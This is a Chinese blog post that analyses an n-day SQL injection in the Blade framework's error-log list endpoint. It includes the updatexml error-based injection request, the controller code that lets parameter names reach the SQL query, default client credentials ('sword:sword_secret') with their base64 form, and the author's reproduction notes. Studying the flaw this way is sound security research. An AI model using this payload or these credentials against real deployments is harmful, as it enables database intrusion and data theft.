blade-sql注入

起因

捡漏了几个nday的SQL注入漏洞,是blade框架的

想着分析一下,不能老只会粘贴对不对

这个接口是要先登录才能用的,后面跟个经典的报错注入,明显是将这整个payload作为一个参数,就比如常见的id=1

1
GET /api/blade-log/error/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1

影响版本我忘了

代码

找到这个的实现逻辑

在LogErrorController.java中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@Hidden
@RestController
@AllArgsConstructor
@RequestMapping("/error")
public class LogErrorController {

private ILogErrorService errorLogService;

/**
* 查询单条
*/
@GetMapping("/detail")
public R<LogError> detail(LogError logError) {
return R.data(errorLogService.getOne(Condition.getQueryWrapper(logError)));
}

/**
* 查询多条(分页)
*/
@GetMapping("/list")
@PreAuth(RoleConstant.HAS_ROLE_ADMIN)
public R<IPage<LogErrorVo>> list(@Parameter(hidden = true) @RequestParam Map<String, Object> logError, Query query) {
query.setAscs("create_time");
query.setDescs(StringPool.EMPTY);
IPage<LogError> pages = errorLogService.page(Condition.getPage(query), Condition.getQueryWrapper(logError, LogError.class));
List<LogErrorVo> records = pages.getRecords().stream().map(logApi -> {
LogErrorVo vo = BeanUtil.copyProperties(logApi, LogErrorVo.class);
vo.setStrId(Func.toStr(logApi.getId()));
return vo;
}).collect(Collectors.toList());
IPage<LogErrorVo> pageVo = new Page<>(pages.getCurrent(), pages.getSize(), pages.getTotal());
pageVo.setRecords(records);
return R.data(pageVo);
}

}
1
2
3
4
5
6
7
@GetMapping("/list")
//只能由管理员访问,但是我当时那个测试时,普通用户也可以
@PreAuth(RoleConstant.HAS_ROLE_ADMIN)

//看下面这个
public R<IPage<LogErrorVo>> list(@Parameter(hidden = true) @RequestParam Map<String, Object> logError, Query query) {
// 它这里有logError,是键值对类型,Map这玩意,类似c++里写的那个叫啥来着 pair吧?

它的作用是,当url中输入参数如下时

.../list?a=1&b=2&c=3

那么logError的内容为

1
2
3
4
5
{
"a"=1,
"b"=2,
"c"=3
}

往下走,遇到了这行代码

1
IPage<LogError> pages = errorLogService.page(Condition.getPage(query), Condition.getQueryWrapper(logError, LogError.class));

这个都理解为 MyBatis-Plus 封装的类,反正最终的结果就是

1
2
3
4
5
6
7
SELECT * FROM log_error 
WHERE create_time = '...'
AND a = 1
AND b = 2
AND c = 3
ORDER BY create_time ASC
LIMIT 10 OFFSET 0; -- 分页条件

我受不了了,安装后台项目然后运行起来试试

后端项目怎么启动来着,o(╯□╰)o

把演示的sql文件导入进去

启动完后,请求路径都是401,嘶,先登录

登录就是服务器异常,500

是启动参数的问题,解决后继续登录

1
2
3
4
5
6
{
"code": 401,
"success": false,
"data": {},
"msg": "No client information in request header"
}

这个要加Authorization,我随便加了一个

1
org.springblade.core.secure.exception.SecureException: 客户端认证失败!

搜了一下,它其实是要一个client_id和client_secret

1
2
sword:sword_secret
base64编码后:c3dvcmQ6c3dvcmRfc2VjcmV0

好,再次发送

1
2
3
4
5
6
{
"code": 500,
"success": false,
"data": {},
"msg": "请配置 blade.token.sign-key 的值, 长度32位以上"
}

这个去配置文件添加就好了

欧克了

1
2
3
4
5
6
{
"code": 500,
"success": false,
"data": {},
"msg": "\r\n### Error querying database. Cause: java.sql.SQLException: Operand should contain 1 column(s)\r\n### The error may exist in org/springblade/modules/system/mapper/LogApiMapper.java (best guess)\r\n### The error may involve defaultParameterMap\r\n### The error occurred while setting parameters\r\n### SQL: SELECT COUNT(*) AS total FROM blade_log_api WHERE ((1, concat(0x7e, version(), 0x7e), 1) LIKE ?) AND tenant_id = '000000'\r\n### Cause: java.sql.SQLException: Operand should contain 1 column(s)\n; bad SQL grammar []"
}

报错我感觉是正常的,但是它没有INSERT进logerror表里,那就不对劲

我想尝试转为低版本的3.7.1也有错误

但是数据库是写进了日志的,又调回新版本,它明显是过滤了updatexml

不过已经知道payload在SQL语句中的位置了,

我在自己的mysql康康

1
2
mysql> select * from users where updatexml(1,concat(0x7e,version(),0x7e),1)=1;
ERROR 1105 (HY000): XPATH syntax error: '~5.7.26~'

是可以的,那还是版本太高了咯

我就觉得高版本,过滤了updatexml,那没事了

错误记录

1
Error:Cannot determine path to 'tools.jar' library for openjdk-19 (C:/Users/67538/.jdks/openjdk-19.0.1)

Project Structure把版本调低 http://t.csdnimg.cn/F29EW

1
Error:java: 无效的源发行版: 14

项目Project当中的jdk与电脑当中的jdk版本不一致造成的

1
2
3
4
Project Structure都调为1.8和8
Modules也调8

java bytecode version 也调为8

http://t.csdnimg.cn/QeksN

这样又会导致后续问题

可能版本太低,导致

1
2
3
4
Error:(19, 35) java: 无法访问org.springblade.core.launch.BladeApplication
错误的类文件: /C:/Users/.../.m2/repository/org/springblade/blade-core-launch/4.0.0/blade-core-launch-4.0.0.jar!/org/springblade/core/launch/BladeApplication.class
类文件具有错误的版本 61.0, 应为 52.0
请删除该文件或确保该文件位于正确的类路径子目录中。

看了下项目POM中的java版本是17

而idea有的地方不能选17,最高是14

搜了一下,SprinBoot3.0开始最低支持JDK17,我这个idea版本为2020.1.3的,难怪

卸载重装,2023.2.x版本的:http://t.csdnimg.cn/gmdPQ

参考

运行手册 https://iot.bladex.cn/tech/start/deploy.html#%E4%B8%80%E3%80%81jar%E5%8C%85%E9%83%A8%E7%BD%B2

https://www.kancloud.cn/smallchill/blade/3197986

https://my.oschina.net/u/3628379/blog/5531726

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信